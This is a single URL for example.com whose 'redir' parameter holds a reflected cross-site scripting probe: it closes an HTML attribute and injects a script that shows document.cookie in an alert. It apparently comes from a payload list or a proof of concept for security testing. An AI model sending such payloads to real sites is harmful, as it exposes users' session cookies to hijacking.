http://www.example.com/auth.w?redir="><script>alert(document.cookie)</script>